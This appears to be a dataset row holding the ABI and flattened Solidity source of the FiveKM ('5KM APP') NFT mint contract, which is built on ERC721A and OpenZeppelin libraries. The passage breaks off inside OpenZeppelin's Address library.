name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"controller","type":"address"}],"name":"removeController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.7+commit.e28d00a7 | true | 200 | Default | false | |||||
FiveKM | 0xb753b59caf85c2755150857ee4919c22ae71926c | Solidity | // File: contracts/FiveKM.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "erc721a/contracts/ERC721A.sol";
//contract code reference from XRC and GCLX, thanks !
contract FiveKM is ERC721A, Ownable {
enum Status {
Waiting,
Started,
Finished
}
Status public status;
string public baseURI;
uint256 public tokensReserved;
uint256 public constant MAX_MINT_PER_ADDR = 2;
uint256 public constant MAX_SUPPLY = 5555;
uint256 public constant RESERVE_AMOUNT = 555;
uint256 public constant PRICE = 0.05 * 10**18; // 0.05 ETH
event StatusChanged(Status status);
event Minted(address minter, uint256 amount);
event ReservedToken(address minter, address recipient, uint256 amount);
event BaseURIChanged(string newBaseURI);
constructor(string memory initBaseURI) ERC721A("5KM APP", "5KM") {
baseURI = initBaseURI;
}
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
function reserve(address recipient) external onlyOwner {
require(recipient != address(0), "5KM: zero address.");
require(
totalSupply() + 1 <= MAX_SUPPLY,
"5KM: max supply exceeded."
);
require(
tokensReserved + 1 <= RESERVE_AMOUNT,
"5KM: max reserve amount exceeded."
);
_safeMint(recipient, 1);
tokensReserved += 1;
emit ReservedToken(msg.sender, recipient, 1);
}
function mint(uint256 quantity) external payable {
require(status == Status.Started, "5KM: not ready.");
require(
tx.origin == msg.sender,
"5KM: contract is not allowed to mint."
);
require(
numberMinted(msg.sender) + quantity <= MAX_MINT_PER_ADDR,
"5KM: max mint amount per wallet exceeded."
);
require(
totalSupply() + quantity + RESERVE_AMOUNT - tokensReserved <=
MAX_SUPPLY,
"5KM: max supply exceeded."
);
_safeMint(msg.sender, quantity);
refundIfOver(PRICE * quantity);
emit Minted(msg.sender, quantity);
}
function refundIfOver(uint256 price) private {
require(msg.value >= price, "5KM: need to send more ETH.");
if (msg.value > price) {
payable(msg.sender).transfer(msg.value - price);
}
}
function withdraw() external onlyOwner {
uint256 balance = address(this).balance;
require(balance > 0, "5KM: no balance to withdraw.");
(bool ok, ) = payable(owner()).call{value: balance}("");
require(ok, "Transfer failed.");
}
function setStatus(Status _status) external onlyOwner {
status = _status;
emit StatusChanged(status);
}
function setBaseURI(string calldata newBaseURI) external onlyOwner {
baseURI = newBaseURI;
emit BaseURIChanged(newBaseURI);
}
function numberMinted(address owner) public view returns (uint256) {
return _numberMinted(owner);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: erc721a/contracts/ERC721A.sol
// SPDX-License-Identifier: MIT
// Creator: Chiru Labs
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@openzeppelin/contracts/utils/Context.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerQueryForNonexistentToken();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
/**
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex - _startTokenId() times
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex &&
!_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (safe && to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = to;
currSlot.startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
nextSlot.startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev This is equivalent to _burn(tokenId, false)
*/
function _burn(uint256 tokenId) internal virtual {
_burn(tokenId, false);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
address from = prevOwnership.addr;
if (approvalCheck) {
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
AddressData storage addressData = _addressData[from];
addressData.balance -= 1;
addressData.numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = from;
currSlot.startTimestamp = uint64(block.timestamp);
currSlot.burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
nextSlot.startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
